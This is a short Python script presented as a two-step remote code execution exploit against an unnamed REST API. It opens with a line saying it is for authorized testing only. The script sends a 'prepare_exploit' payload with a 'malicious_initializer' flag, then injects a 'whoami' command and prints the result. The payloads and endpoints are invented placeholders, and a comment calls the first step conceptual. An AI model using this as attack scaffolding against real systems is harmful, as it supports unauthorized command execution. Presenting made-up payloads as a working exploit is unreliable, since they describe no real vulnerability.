The following code is for security research and authorized testing only.
python
import requests
target_url = "http://target-ip/api"
# Step 1: Trigger the vulnerable state in the RESTful API
# This is a conceptual step based on the "two-step attack" description
step1_payload = {
"action": "prepare_exploit",
"config": {"malicious_initializer": True}
}
requests.post(f"{target_url}/endpoint1", json=step1_payload)
# Step 2: Execute Remote Code
# Exploit the state to inject command
step2_payload = {
"command": "whoami"
}
response = requests.post(f"{target_url}/endpoint2", json=step2_payload)
print(f"Command execution status: {response.status_code}")
print(f"Response: {response.text}")